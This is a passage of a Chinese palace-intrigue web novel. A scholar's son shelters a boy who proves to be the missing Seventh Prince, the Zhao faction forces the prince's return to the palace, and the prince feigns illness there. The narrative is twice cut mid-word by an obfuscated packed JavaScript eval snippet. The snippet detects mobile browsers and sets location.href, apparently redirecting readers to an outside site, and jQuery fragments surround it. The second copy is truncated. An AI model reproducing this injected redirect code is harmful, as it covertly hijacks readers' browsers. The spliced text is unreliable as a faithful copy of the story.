这除了书经史籍别无一物的书房里,竟也比之前多了几分活气。 张岁安见小七睡熟,起身走过去抽去他胳膊下压着的竹简。 那简上的字笔锋初显,不过才练了几日,这孩子的字便有了韵骨,原先那笔龙飞凤舞的字经过张岁安这几日的指点,愣是如杂草堆上生出了几根竹络般,颇有了一股雄壮清冽的气韵。 想来这字如其人,书,乃心画也,若不是身世不幸,或许这个小七儿,也能练就一番才学,得报家国之志。 张岁安正想将小七扶到软榻上,刚刚俯下身去,这孩子就忽然惊醒,蹭地一下从案上坐直,要不是张岁安躲得及时,险些被这小子的天灵盖撞上下巴。 “可是梦魇了?”张岁安捂着险象环生的下颌问道。 小七抬头,惊魂未定地望着眼前人,脸蛋上还挂着两笔乌漆的墨印,他点了点头。 “我幼时也常做梦,如今长大了,便不怎么做了。”张岁安抬起袖口,在小七脸上抹了两把,本是想帮他擦去那两笔墨印,没想到却越擦越花,“你总是戴着这块抹额,这是你亲人留给你的?” 小七不语,张岁安以为他还浸在梦魇的余惊中,未能回过神来。 他哄小孩般地笑了笑,温声道:“不如你与我说说,我来为你解梦。” “你会解梦?”小七哑着嗓子低声问了一句。 张岁安:“看过几卷周公梦录,一知半解。” 小七垂下眼皮,顿了良久,才缓缓开口道:“我梦见,大火烧在身上,很疼。” 张岁安默了半晌,梦身被火烧者,非吉兆,可见这孩子心下难安。 “梦中之事,不可尽信。”张岁安温声道,“你见那庭院中的青竹,去年冬日遭了风雪,今春却生得更好了。” 夜里的微风卷起竹叶声声,张岁安的声音揉在其中,软得像细碎的棉絮拂过稚子的心: “小七,你虽不肯袒露你身世,但我既救了你,定然不会就这样随意再将你扔回是非地去,你只需好生在此歇养,其他的不必过于忧心。” 小七望着那清润公子的眉眼灼灼,一字一句好似清雨,浇灭了那场梦魇大火的余惊。 张岁安用绢帕,沾着茶水,一点一点地擦干小七脸上的墨污: “你放心,我会护着你的。” 11. 皇子 江崇入宫上值后,张岁安也回了太学。 往日里,他便人称太学“小夫子”,如今父亲不在,他几乎成了半个“小祭酒”。 原本父亲在时,就惯把他当自己的佐使用,下至点卯和典籍的校勘整理,上至文书的草拟批复,一应杂活,呼来唤去,都是他做,累死累活,还没有俸银,要是寻常勋贵子弟,早就不干了,可偏偏张岁安是个好脾气。 就连老夫子们都夸他,若入仕途,定是一位千古贤臣。 这也算是拐着弯说他天生就适合当牛做马了。 毕竟哪有君主,会不喜欢这样一位才能精干,又懂进退,任劳任怨,还不邀功的臣子呢? 或许也是因为这样,父亲到现在,也未曾正式举荐他入仕。 这阵子恰逢地方州郡报送学子文结,张岁安协同佐使们一起整理完,走出祭酒署时,已经快要日落西山了。 “子康!” 刚转过门廊,便听见有人唤他,他转身一看,只见来人一身锦袍,竟是赵贵嫔膝下的三皇子。 “见过三殿下。”张岁安连忙躬身行礼道。 “你果然在此。”三皇子快步上前,语气热络,“想来祭酒不在,这太学定是你在当家。” 张岁安一听,连连谦道:“殿下慎言,子康如今并无朝职,只一太学学子而已,殿下此言,实在让草民惶恐。” “你就不要自谦了。”三皇子摆了摆手,“你可是要回府啊?” “是。” “正好,吾亦要去趟城中,不如同行?” 张岁安本想推辞,可三皇子说什么也要送他一程,再三推托反倒失礼,他只能无奈随三皇子上了马车。 马车上除了三皇子和张岁安两人,还有三皇子的内官常喜,此人是中常侍常玉的干儿子之一,在宫人中算是心思缜密的,陛下让他跟在三皇子身边,自是有其深意。 这三皇子为人,说好听些是敦厚恭孝,难听点就是智力不显,初具人形,唯母妃之命是从,赵贵嫔让他往东,他便不知往西怎么走,赵氏一看,干脆就找来几个儒学大家,给他冠了个大孝之名,倒是让他在圣上和朝臣面前长了些许声望。 马车一路压过青石步道,晃晃悠悠地往城中走,三人坐在车内,各自也没有开口。 “奴有一浅薄之问,不知当说不当说。”常喜先行开口道。 三皇子就等着他这句话:“说。” 常喜行礼趋道:“张公子如今才学已显,可为何祭酒大人迟迟不给公子荐个官职呢?” “对啊,为何?”三皇子转头盯着张岁安道。 张岁安回话:“想来家父自有安排,子康也不敢多问。” “前日贵嫔还与奴随口怨了一句,说三皇子身边缺个得力的伴读。”常喜说完,便递了个眼神给三皇子。 三皇子立马接话道:“对,母妃每每与吾念及此事,吾便会想到你,你我平日虽往来不多,但幼时还一起骑过马呢,也算是有总角之交了,你若愿意来,吾必好生待之。” “谢殿下赏识,只是此等仕途之事,子康不敢擅自做主,还需等问过家父后,再做定夺。” 张岁安拒言委婉,三皇子也没听出来,反倒乐呵呵地大手一挥道:“果然,吾就觉得你我定是知己,百善孝为先,你与吾,皆是大孝之人呐。”说完,自个儿朗声笑了半天。 常喜坐在一角,刻意岔开话题,接着道:“说到这孝心,不日便是陛下生辰,听闻陛下想借这日子,博个团圆之乐,有意将七皇子从山间道观中接回宫一聚,真是可惜了。” 张岁安闻言疑道:“为何可惜?” 三皇子一听,连声接话道:“子康你还不知道吧,老七丢了。” “丢了?”张岁安一怔。 “听说是在京郊遇见了山贼,如今还下落不明呢,也不知是死是活。”三皇子叹了叹,自顾自地算道,“七弟离宫那年,不过五六岁的模样,想来如今,也该有十来岁了吧。” 张岁安整个人瞬间僵在车榻上,脑中蹭地冒出那日竹简上歪歪扭扭的“柒”字来,他迅速将当日遇见小七的种种状况回味了一遍。 都是七,不会这么巧吧。 也不怪他完全没往那边想,毕竟这七皇子自入观后,远离尘世,几乎是查无此人,若不是常喜在此故意提起,就连他都忘了那山里还有一个陛下嫡出的七皇子。 “张公子?”常喜的声音将他从思绪中唤了出来,试探着问道,“张公子怎么脸色不好,可是这车里太闷?” 张岁安缓缓抬头,望向常喜那莫测的神色,一时竟不知如何作答。他定了定神,低声附和道:“这么说来,着实可惜,只望七殿下福泽深厚,能平安回宫与陛下团聚。” 一路上,他惊觉自己无意间,竟被汗浸湿了里衣。 皇子,追杀,逃走,这几个念头反复在他脑中过了数遍。 若真是如他们所说,是遇了山贼,那七皇子都逃到了绥京城中,为何不去向巡逻的执金吾救助,偏偏要跑到闹市里,将自己曝光在众人的目光之下。 赵氏的人真是疯了,竟然真敢对嫡皇子下手。 如今七皇子在张府一事,他们定然也是知道了,故而才让三皇子带着常喜来套话。 这么多年,父亲一向恪守言行,从不搅入朝堂纷争,而此事,事关皇子生死,更关乎立储之局,张府夹在其中,是进是退,都脱不了身。 三皇子的车驾一路将他送至张府门外,他踩着踏凳下车时,才忽觉这短短的车程,仿若隔世之久。 他立在阶下,躬身行礼拜别,望着三皇子的车驾远去后,才转身入了府门。 脚步刚刚迈过廊下,还未来得及歇上一口气,一道熟悉的身影便迎面走了过来,竟是父亲身边的侍从东郭。 “公子。”东郭行礼请道,“主君叫您去前堂。” “父亲?”张岁安怔在原地,“父亲回来了?” 东郭未答,只是略有深意地望了一眼张岁安:“公子只需去就行,主君还在候着。” “好,待我更衣,片刻就去。”张岁安本想找借口先去后院看看小七。 “公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445020|185064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。”东郭上前一步,拦住他的去路,“主君吩咐过,请您一回来,就去前堂见客。” 张岁安心头又是一震:“还有客人在?” 东郭顿了顿,沉声道:“司隶校尉赵青赵大人,也在。” 张岁安几乎是倒吸了一口凉气。 自己方才在路上,筹谋了半天,要如何既保七皇子无恙,又让张府能免入赵氏的漩涡,没想到人家早就先手落子了。 东郭在前引路,还不忘回头低声提点道:“主君今日归家,赵大人在城门外备了车马相迎,公子聪慧,自是知道其中玄妙,待会儿堂上见了客,还请谨慎言行。” “明白。”张岁安沉声应道。 穿过两道月门,隐约已能听见前堂的谈话声,廊下的灯还未来得及点亮,只有窗棂透进的微微天光,将堂厅映得半明半暗。 张岁安进了堂下,只见父亲正扶着杯盏饮茶,神色难辨,而客座上的赵青见他进来,旋即便放下了手中茶盏。 “见过父亲,见过赵大人。”张岁安躬身行礼尊声道,“今日太学杂务繁多,故而路上耽搁了一会儿,不知家中有贵客到此,有所怠慢,还望赵大人海涵。” 赵青一听,连连抬手笑道:“祭酒大人,都说你家这长公子才貌皆是一绝,今日一见,果然不俗啊,要不是早早与司徒家定了亲,怕是这张府的门槛都要被媒人踏平了吧。” “赵大人谬赞,犬子文弱,性子懦,平日除了会读些史书经纶,再无长处了。”张淮之埋头饮茶,连眼皮都未曾抬起来过。 赵青客套般地笑了两声,旋即道:“祭酒大人有所不知,我家那长子,不爱读书,成日厮混,连张氏长公子的半点都比不上。”他的目光缓缓转入堂下,望向张岁安道,“贤侄呐,可有表字?” “晚生字子康。”张岁安低声道。 “子康,嗯,子康。”赵青眉头拧成一团,似是想在脑中找两句话说道说道,奈何腹中文墨有限,念了半天也不知如何赞一赞这字,最后只得问了一句,“可是夫子取的?” “此字乃晚生自取,取自《尚书》五福,一曰寿,二曰富,三曰康宁,是为求一身心康宁之意。” “好字,好字。”赵青瞥了一眼主座上的张淮之,转而又说道,“说来也巧,前日我进宫面圣,听贵嫔说起想为三皇子择一好字,三殿下素来仁孝,祭酒家的公子博通经史,不知可有好的典故美名,能为三皇子谏言取字?” 此话一出,张淮之便先行开口道:“赵大人莫要抬举子康了,他不过一学子而已,怎可有幸为皇子谏字?” 赵青一顿,转眼望向张淮之道:“那张大人乃当朝太学祭酒,天下学子之师,总有资历为三皇子谏一好字了吧?” “下官不过一迂腐教书人,赵大人此言实是过于高看了。”张淮之语气不疾不徐,不亲不疏,火候正好得如那八分烫的新茶,“家父在时,时常言训,张氏一族,当守谦退之礼,下官一日不敢忘矣。”他顿了顿,“三皇子殿下乃皇室贵胄,身份尊崇,问天下有谁能为其择字,那必然也只能是陛下。” 12. 难为 张淮之此话一出,前堂的气氛瞬间静了下来,赵青脸上的热络也随之散了大半。 他见张淮之的态度果然拒人千里,也懒得再装出一副好脸色,既然张家摆明了不愿入三皇子麾下,那就干脆拿那落跑七皇子的事来戳一戳这老乌龟。 “张大人说得真是,滴水不漏啊。”赵青话头一转,旋即道,“这几日我奉圣命,剿灭京郊山贼,寻七皇子下落,可谓是战战兢兢,生怕皇子有恙,我便只能拿命赎罪,都说我赵家是陛下亲信,可这位置坐起来的滋味到底如何,别人不知,张大人定是明白的。” 见张淮之默而不言,赵青看了看堂下的张岁安,继而又道:“七皇子毕竟年幼,在山上受了惊,心下害怕,在哪儿躲起来了也不得而知,祭酒大人是朝中清流,定是不会进些‘虚言’去搅扰圣听。子康公子,我这番话,说得可对否?” 赵青此言算是给足了张府面子,只要张府愿意交出七皇子,赵家不会咄咄逼人,两家各自装作若无其事,在陛下那里也好交代。 但若是张府偏偏要护着七皇子不肯交人,赵家手捧御旨,治他个私藏皇子之罪,也不是不行。 即便是七皇子一口咬定自己是被官差追杀,那也是小儿戏言,无凭无据,如何能信? 张淮之心里有数,张岁安也听得明白。 “赵大人此言,甚有道理。”张岁安定了定神,望向父亲,对方依然是沉默如旧,他继而沉声道,“只是我身无一官半职,朝堂之事,晚生不懂,但若皇子蒙尘,亦是有辱圣颜,身为臣民,难道要作壁上观吗?” 张淮之的眼神瞬间抬起,如冷箭一般朝张岁安刺来。 三人虽都各自心知肚明,但毕竟都未曾言破,而张岁安这番话,像是刻意要掀开这层薄纱,激着张淮之站队似的。 “方才赵大人提到,为三皇子择字一事,吾便说过,父为子继,”张淮之顿了顿,刻意重了几分语气,盯着张岁安道,“为皇子择字,是陛下的‘家事’,吾等臣子,怎可僭越?” 赵氏敢暗杀嫡皇子,事情败露后竟然还能全身而退,张岁安未必看得明白,但张淮之心里却如明镜一般。 若无陛下抬举,赵氏便不会有如今的权势,若无陛下默许,赵氏族亲跋扈至此,何故次次都能大事化小小事化了? 赵氏一族,是陛下制衡士族的一把刀,而七皇子,也只是陛下那棋盘上,一枚多余的棋子而已。 无人在意他是死是活。 张岁安还想再求些什么:“父亲,可是……” 却被张淮之一口打断—— “赵大人。”张淮之先行开口,堵住了他的话头,“赵大人若觉得鄙舍的茶好,可再续上一杯,我去院中,再请些好茶点来。” 赵青闻言抬起茶杯,笑了笑敬道:“祭酒大人随意。” 张淮之起身,微微互敬礼数后,便挥袖出了前堂,往那后院中走去。 张岁安当然知道父亲要去哪,急得连待客告退的礼数都忘了干净,连忙跟着跑了上去。 “父亲,父亲……”张岁安几步冲上前去,挡在父亲身前,“赵氏在宫外都敢对皇子下手,若让他就这样被带回宫,他必然是活不了的。” 张淮之眼色一沉,反问道:“难道把他藏在张府,他就能活得了了?” “可他毕竟是中宫嫡出的皇子,士族……士族向来信奉嫡长,若老臣能护着他,他……” 不提还好,这一提,更是戳中了张淮之的命门。 “东郭。”张淮之厉声吩咐道,“把公子拉开。” “是。” 后院暮色渐浓,青竹叶丛中,蝉鸣喋喋,催得人心难安。 半空中,团成群的蚊虫低飞过廊,灰色的天际绕着重重的云,似是在熬着一场大雨。 小七正伏在案上习字。 他临摹着张岁安亲笔抄写的字帖,笔锋也越来越像他,眼见天色暗了,视线也不及白日那样清楚,他揉了揉眼睛,正想着张岁安怎么还不回来时,院中檐角的铃响了。 书房的门忽然被人推开。 进来的人一身长袍,逆光而立,看不清神情,他沉声道:“来人,将贵人的抹额取下。” 言罢,几人上前冲他微微行礼后,便伸手上来,一把扯下了他头上的那方抹额。 七皇子生来眉间就带有红痣一事,知道的人并不多,民间虽有七皇子克亲的传言,大多也只以为是那八字不详。 可这红痣,就像血煞的烙印,就印刻在那稚子的面上。 张淮之见身份确凿,扬起袍衣,俯身跪下,叩首行礼道:“臣,参见七殿下。” 这一跪,身边的人也都跟着簌簌跪下。 黑影们个个匍匐在他的身前,暮色晦暗,门外庭院中也只留下那薄薄的一丝天光—— 竹影凄凄,张岁安远远地站在那里,与他遥遥相望。 眼中似有千言万语,却也无法再言说一句。 “去请司隶校尉大人,护七皇子殿下回宫。”张淮之低声道。 下人匆匆去了,不过半晌,缇骑和执金吾便已在张府外布防而立,显然是早有所备。 烽火灿灿,兵甲之众,好似一把冷剑,悬停在这座府邸之上。 领头之人几步上前,跪下叩首在书房外,朗声道:“臣,司隶校尉赵青,护驾不力,还请殿下恕罪。” 虽然是一山野皇子,但好歹是个主子,面上的功夫还是要做足的。 众人纷纷叩首行礼,就等着屋中那一抹小小的黑影开口吩咐。 但这一等,就是恍若隔世那般久,那七殿下愣是就坐在那里,半天也未开口说一句话。 “殿下?”赵青微微抬起头,朝里头探了一声。 还是没有任何回应。 一院的人就这样僵持在地上,起又不好起,跪又跪得疼。 “大人。”身旁的下属压低嗓子问了一声,“这七皇子莫不是吓傻了?” 按照礼数来说,主上没有下令,众人便不好起身,但这么一直跪下去也不是办法。 赵青灵机一动,假装听见了皇子的免礼,清了清喉咙,开口道了一声:“谢殿下。” 说完,便自顾自地站了起来,继而走入屋中,屋内还未来得及点灯,黑漆漆地看不清皇子的容貌。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445021|185064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 只见七皇子不疾不徐地拾起方才被人扯下的抹额,缓缓系回额上,直愣愣地抬头盯着眼前众人。 “殿下?”赵青轻轻叫了一声,也不见七皇子抬头应他。 眼见这位皇子,就跟个纸做的小人儿一般,没魂儿地坐在案前,赵青只好命令属下道:“来人,扶殿下起驾。” 几名缇骑奉命进屋,左右各一边儿蹲下,将手臂凑到七皇子身侧,可这七皇子愣是连搭都不搭一下。 缇骑无奈抬头看了一眼赵青,见赵青点头示意,才敢直接上手把七皇子架了起来。 他们一左一右地架着他往外走,他却也不哭不闹,只是眼神流连在人群中,找着那一方与众人一齐跪着的身影。 张岁安自地上抬起头来,正巧撞上小七那双冰锥般的眼眸。 张岁安正想立身一动,却被身后的东郭紧紧摁住:“公子,七皇子回宫自有圣上庇佑,事已至此,莫要让张府白白担上违逆之名。” 身后之人的警醒,让张岁安只能愣在原地,他双手撑着冰冷的青石砖,膝盖早已跪得僵麻。 他眼睁睁地望着昨日的小七,成了今日的七皇子,被那冷硬的铁甲一左一右地架着,缓缓带离了张府。 他不是说好要护着他的吗? 他几乎是下意识地站起身来,想要冲上去,却耐不住脚麻无力,被家丁抢先一步拽回了地上。 “公子,不可啊。”东郭压低了声音狠劝道。 这么多双眼睛盯着,他身为臣子之后,哪里来的权利去阻碍受了皇命的校尉带皇子回宫。 他是皇子,他本该就是要回到那四方城中去的。 缇骑的烽火照亮了府邸的半边天,而稚子的眼眸却好似落入了万古长夜,漆黑一片。 甲胄声声渐远,张府又落入了夜色的孤寂之中。 小七走了,天边的铅云好似开了闸,豆大的雨点随着潮热的风,徐徐砸了下来。 张岁安始终跪在那里,似乎还未从方才的阵仗中缓过神来。 直到父亲走到了他的身前。 “你啊。”张淮之叹了一声,没再多言,转身便回了主屋。 他原以为会听到父亲的责骂,却不曾想到,竟是这样的一声哀叹。 彭吉带着苗夫人拿着伞从后院赶了过来,将张岁安从泥水地上半拖半拽地拉起来。 “子康啊,你父亲可有打你,那什么校尉可有打你啊。”苗夫人连连问道。 张岁安摇了摇头,雨水湿了半身,粘腻腻地粘在身上,浇灭了他的骨气,他撑着跪麻的身子,从地上爬起来,一瘸一拐地重新走入书房中,清理着地上散落的字帖。 彭吉跟在他身后点了灯,风雨如潮,灯火摇曳,照得空空的屋子忽明忽灭。 张岁安俯身拾起被撞乱在地的竹简,看着那帖上的字,心口一阵钝痛。 书乃心画,竹简上字字如针,是小七刻意在收敛笔锋,只为了能让自己的字,与他的字更像一些。 而那未写完之处,悬空一撇,却完全乱了章法,好像幼子的心,在那一处彻底慌了神,除了惊慌的失意,什么都没留下。 13. 四方城 太医署外的梆子刚敲过三更,值夜的太医章恒便被下了一道帖子,召他入宫为七皇子诊脉。 “七皇子?”章恒一愣,“七皇子不是在那山中道观修养吗?” 来人是陛下身边的中常侍常玉,他似笑非笑地落了一句:“七皇子在山上遇了山贼,受了惊吓,今日刚刚接回来的。” “原来如此,原来如此,中贵人稍等,待我取来医簿,便随您入宫。” 这章恒是上任太医令的关门弟子,他尤记得十来年前的那个雨夜,太医令进宫为皇后正胎,天亮才归,隔了几月便自请告老还乡。 没过几年,七皇子又被送入了道观之中,拜了尊山石为师,民间多有传闻,说皇子命格克亲,也不知是真是假,但陛下到现在都未曾为七皇子取名,可见那传闻也并非全然捕风捉影。 七皇子归宫后,陛下为其在皇子们同住的东侧宫宇中择了一处僻静的佑炆殿作为其居所。 这佑炆殿可算不上什么吉利地方,先前是那五皇子的住所,自从那五皇子疯傻之后,吕美人便向陛下跪求旨意,请求让五皇子提前立府,送出宫外修养,于是这处殿宇便空了出来。 章恒一路上暗自琢磨,想来这七皇子虽是嫡出,但陛下对其态度却多有疏远,并无任何偏私,想来也是不满士族老臣恪守嫡长旧制的缘故。自己作为一小小太医,一会儿诊脉时也当谨言慎行才好。 他随着宫灯指路,穿过荒草丛生的庭院,缓缓步入内堂,见到了那位传说中的小七皇子。 “殿下,太医到了。”内侍轻声唤道。 榻上屏风后的小小孤影微微一怔,旋即才转过身来。 要说这七皇子不愧是在山中修道多年,乍一看,还真有几分仙风道骨,未曾束发的青丝披散在肩,刚刚换上的玄色素衣不是量身裁剪的,挂在身上有些大了,反倒显得小皇子身姿飘然,落落有致。 可走近一看,却又是另一副样貌,七皇子脸色青暗,眼下乌黑,双眸黑寂一片,远看时仙骨飘飘,近看却更像是那幽灵鬼魅,无魂无魄地靠坐在榻上,轻如枯骨一般。 也不知是不是如宫人所说,七皇子被山贼吓到了,连话都说不了了。医家讲究个望闻问切,他不能说话,章恒也只能断脉而诊。 只是这七皇子外看无伤,可脉象却薄弱难持,虚浮得摸不到实处,尽管是诊脉无数的太医也摸了好一会,才寻到那一丝细弱的气脉。 “七殿下脉弱,乃是正气亏虚,阴血不足,加之惊恐未定,郁结缠身,故而才神思恍然,开口难言,待臣开一定神助眠的方子,辅以清淡饮食,深居简出,细细调养即可。” 毕竟除了脉弱,章恒也没诊出什么大毛病来,这么大点的孩子,想来也就是吓着了。 “如此甚好。”常玉听完太医说无大碍后,也准备退下去向陛下复命了。 章恒开完方子,收拾好药箱,便跟着常玉一同走出殿外。 只是两人还没走出几步,忽然就听见身后宫人大喊一声:“不好了,殿下晕倒了!” 常玉脚步一顿,与正欲离开的章恒面面相觑,两人皆是一愣。 贵人有恙,病没好全,医官奴婢哪有一走了之的道理,旋即两人只好又原路返了回去。 章恒又入屏风后,在小皇子的细腕处把了又把,心中也甚是无奈。 这七皇子说晕就晕,从脉象也诊不出什么端倪来,自己总不能开口说堂堂皇子装病吧,只好又开口强行编道:“额,殿下许是因惊恐失神,未曾进食,故而眩晕顿起,待臣开一滋养脾胃的药膳,煎食好后,送殿下服用便可。” “如此甚好。”常玉又是温声一笑。 章恒补拟完方子后,复而又与常玉一前一后走出寝殿。 只是两人还没迈出殿门,又听见身后宫人一声乍起的惊吼—— “大人别走,快回来,七殿下又吐了!” “……”章恒顿步僵立,转头与常玉两眼干瞪。 常玉俨然又是一副似笑非笑的模样:“看来章太医今夜要宿在这佑炆殿中了。” 章恒不好面露难色,侍病是医家的本分,可这七皇子,他没病啊,自己不好开口直说,但常玉作为这宫中的常侍,什么没见过,定是懂他苦处的。 “七皇子病态反复,臣惶恐,还请中贵人提点。”章恒躬身求教道。 “章大人尽好自己医家的本分便是,其他的事,不必多虑。”常玉留下一句话,便匆匆回宫复命了。 章恒不过太医署中一平平医吏,若不是今日他值夜,这费力不讨好的活儿也轮不到他头上,他站在夜色中长叹一声,转头又闷声回了佑炆殿中去。 小七皇子半装半演,却也并非全然无病,只是心病难消,非外症所能诊也。 他吃不好,睡不好,身子骨自然也差,只要这病弱之态断断续续,太医就不得不三天两头往他宫里跑,他刻意每次就指着同一个太医薅,这样即便自己出了什么差错,那个倒霉的太医也难辞其咎。 章恒被迫来得次数多了,竟然也不小心就升了官,被特封了个待诏医官,俸银翻了两番不说,还有了下属的药侍和方侍,摇身一变,成了佑炆殿的专侍太医。 这七皇子是不是民间那般谣传的血煞灾星,章恒不知道,但这能帮自己升官职涨俸银的小皇子,管他灾星福星,那都是他的小祖宗。 故而就算知道七皇子是装病避世,他也乐意跟着装模作样地演下去。 “七殿下,今日又是哪里不舒服啊?”章恒一来二去的,对于诊断这莫须有的病痛,已经是手到擒来。 小七端坐于榻上,想了想,旋即抬手指了指脑门。 “可是头疼啊?”章恒问道。 小七点了点头。 章恒作势把脉,一套说辞翻来覆去地说了千百遍:“殿下睡眠不定,常有梦魇之症,故而邪气侵体,头痛发作,待臣开一安神消痛的方子,服了睡下便好。” 只是那药吃了一副又一副,梦魇的毛病却是半点也不见好。 睡梦中,他总是反反复复地回到那处安静的书房,好似那里才是他魂魄的安息处。 “小七。”他听见张岁安叫他,“握笔时,腕口抬起来。” 房中熏书的芸草香有些发苦,被炉火灼烤后,散出几缕清冽的薄烟,张岁安坐在案前,露出半截皓白的手腕,捏着墨石在砚上轻轻研磨。 竹声戚戚,庭院僻静,岁月安好,总让他想起幼时长宁殿的暖阁,想起曾经母后还在的日子。 可惜,母后终是送走了他,而张岁安也未能护得住他。 梦终究会醒。 半夜,他从梦忆中睁眼,漆黑如笼的宫殿仿若棺椁,他辗转再难入眠。 他索性坐起身来,赤脚踩着寝殿冰冷的石砖,轻缓地向殿外走去,廊下守夜的宫人个个东倒西歪地卧睡在门柱边上,未曾察觉到他的起身。 四方的殿门前,宫人如豆,可夜色萧索,终究还是只他一人,独身孤立。 都说那命带血煞者,是克亲的孤命人,他还年幼,未曾深想,可这幽凉夜色中,谁与独息的孤寂 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外围的杂役都是原先五皇子身边留下来的,近身的几个宫人里,除了洒扫伺候的宫婢以外,就是两个黄门,中黄门是少府派来的,负责殿中大小事务,而这个小黄门常乐,既然是那常玉的干儿子,让他过来,或许就是父皇的意思。 小七盯着这个看上去比自己大不了几岁的小黄门,忽然脆生生地开口了:“你为何入宫?” 常乐闻声一怔,跟见了鬼似的,抬头瞪圆眼睛:“殿下,殿下你说话了……” 小七眼皮微垂,还在等着他回话。 “回殿下,奴,奴入宫,入宫是因为家中贫苦,买不起米粮,所以才被卖入宫中,换家中姊弟一口饭吃。”常乐跪伏在地,连连应道。 “你入宫前,叫什么?”小七又问道。 “回殿下,奴祖上姓唐,寅时所生,家中行三,故就叫寅三,不是什么讲究名字。”常乐怯生生地答道。 “那也是有名有姓之人。”幼子声低,几不可闻,“算是被家人所认。” 常乐一听,不知是不是说错了话,赶紧先磕了两个头:“殿下福泽深厚,怎可与奴相提并论。” “起来吧。”小七轻声道。 常乐擦了擦额角的尘土,缓缓站起身来:“谢殿下。” 虽然入宫不久,但常乐也是习过礼数,见过场面的。 他们都说,七皇子胆子小,被山贼吓破了胆。 可眼下此时,七皇子终于开口说话,却是半点也不生怯,反倒沉稳持重,十分早慧。 “殿下,你既开口说话了,可是病好多了?”常乐怯怯问道。 小七默默地看了他一眼,也不言语,一身松垮的亵衣站在那里,好似误入这四方城的鬼魅,透着股格格不入的疏离。 常乐见七皇子沉默如石,心下暗自揣度,开口问道:“殿下可是不想让别人知道,自己能说话了?” 小七点了点头。 “奴明白,奴明白。”常乐连连躬身,“奴是殿下近身之人,殿下的意思,奴必谨遵。” 小七没说话,自顾自地踩着鞋,就着萧瑟的夜风回了殿中。 他如今一无所有,唯一能笼络人心的办法,就是利用他人的怜悯。 弱小,无辜,可怜,总能唤得寻常人的几分心软和偏向。 对章太医如此,对常乐,他亦是如此。 14. 荐官 瑶池殿中,银剪修剪花枝的轻响戛然断了,赵贵嫔指尖捏着半朵玉兰,看向堂下回话的婢女:“病了?” “确确实实是病了,每日里几乎没有清醒的时候,更说不出话来,太医署和佑炆殿上下,都是这般说的。”婢女多方奔走,得到的确也是那七皇子惊恐忧惧,缠绵病榻的消息,“若贵嫔还有疑心,可否要诏那太医署的人来亲自问问?” 赵贵嫔将手中的银剪放在漆盒中,拨弄着手中的花枝,没有接话。 贸然暗杀七皇子一举,本就是赵家大哥心急之下出的险招,如今七皇子刚刚回宫,正在风口浪尖上,最好是不要再出什么端倪。 既然他病中神思混沌,就算是知道什么,也无凭据,赵家如今势头大好,实在不必为了一个不受宠的小皇子,给朝臣们落下什么话柄。等这阵风头过了,寻得合适的机会,有的是悄无声息让他永远“病下去”的法子。 “不必了。”赵贵嫔沉声开口,“你盯着佑炆殿的事,要做得干净,莫要让陛下察觉到。” “贵嫔放心。” 殿内刚刚静了片刻,殿外就远远地传来了一阵清脆的童声。 “父皇,父皇。”是玉瓒公主的声音。 “唉。”景和帝应道,俯身亲自将扑过来的小女儿抱了起来。 玉瓒小公主其貌似母,生得娇俏可人,一双杏眼透着水盈盈的娇憨,景和帝老来得女,也难得从那副帝王姿态下,溢出了些许父爱。 小公主手上折了一只艳红的春日牡丹,被父皇高高抱起后,兴奋地举着花枝,脆声嚷着:“我给父皇簪花。” 说罢,便伸出小手,将那朵新鲜的花枝别在了景和帝花白的鬓间。 景和帝顶着这朵花,故意偏了偏头,望向身后的众人笑道:“好看吗,啊?” “好看,好看。”身边的常玉连声附和着。 赵贵嫔自屋中缓步出来相迎,垂首行礼,婉婉声道:“陛下要来,怎么也不先命人告诉妾一声,害得妾连茶水都未曾备好。” “朕刚下朝,顺道来看看玉瓒。”景和帝抱了玉瓒一会儿,似乎也有些累着了,旋即将公主放回地上,大步往殿内走去。 殿内玉兰花香清润,让人闻之欲醉,景和帝往软榻上一坐,揉着发胀的眼角,似是被今日朝上大会吵得头疼。 赵贵嫔命人去备茶水,转头时,目光恰巧落在景和帝鬓角别着的那朵春日牡丹上,她忍不住盈盈一笑道:“花可解忧,陛下既然已经簪花了,怎么还皱着眉呢?” 景和帝不语,可赵贵嫔心里可一清二楚,她虽身在后宫,却对前朝洞若观火,近日地方州郡递上来了举荐的名单,想来定是这份名单陛下不甚满意。 袭国如今国力不盛,人才凋零,有点真才实学的,十有八九又多依附于士族大家,没有几个能真正握在帝王手中。 可那士族老臣们呢,一个个要么龟缩不前,要么结党营私,地方基层官员的举荐尚且如此,更别说这绥京朝堂了。 景和帝需要人,可国库又不充盈,不能效仿那北朔皇帝用真金白银砸出个求贤令,便只能另辟蹊径,思来想去,心下琢磨出一招:修典。 东袭国有江河湖海,有沃野千里,上承先哲遗智,下聚民生技艺,修典传颂,既可笼络士族旧臣,又可广布四洲,以彰显袭国之名。 都说这盛世修典,可景和帝偏不信邪,既然国库没钱,那就用商贾的钱来修,凡愿捐资助典者,均可注名入典,光耀门楣,世代传颂,且家中若有子弟入仕,还可凭此获得举荐资历。 商贾地主没有门第根基,本就缺乏上升途径,闻此政策自然喜不自胜,可这钱搞定了,主持修典之人却迟迟定不下来。 此人最好是既在四洲之中享有盛名,又在袭国境内兼具威望之人,且更好是朝堂民间各占一位,士族寒门各择一名,如此聚合多方之力,方能彰显大典威望。 只可惜,景和帝这满心的筹谋,却在朝堂上碰了壁。修典之事一经提出,大臣们便个个三缄其口。 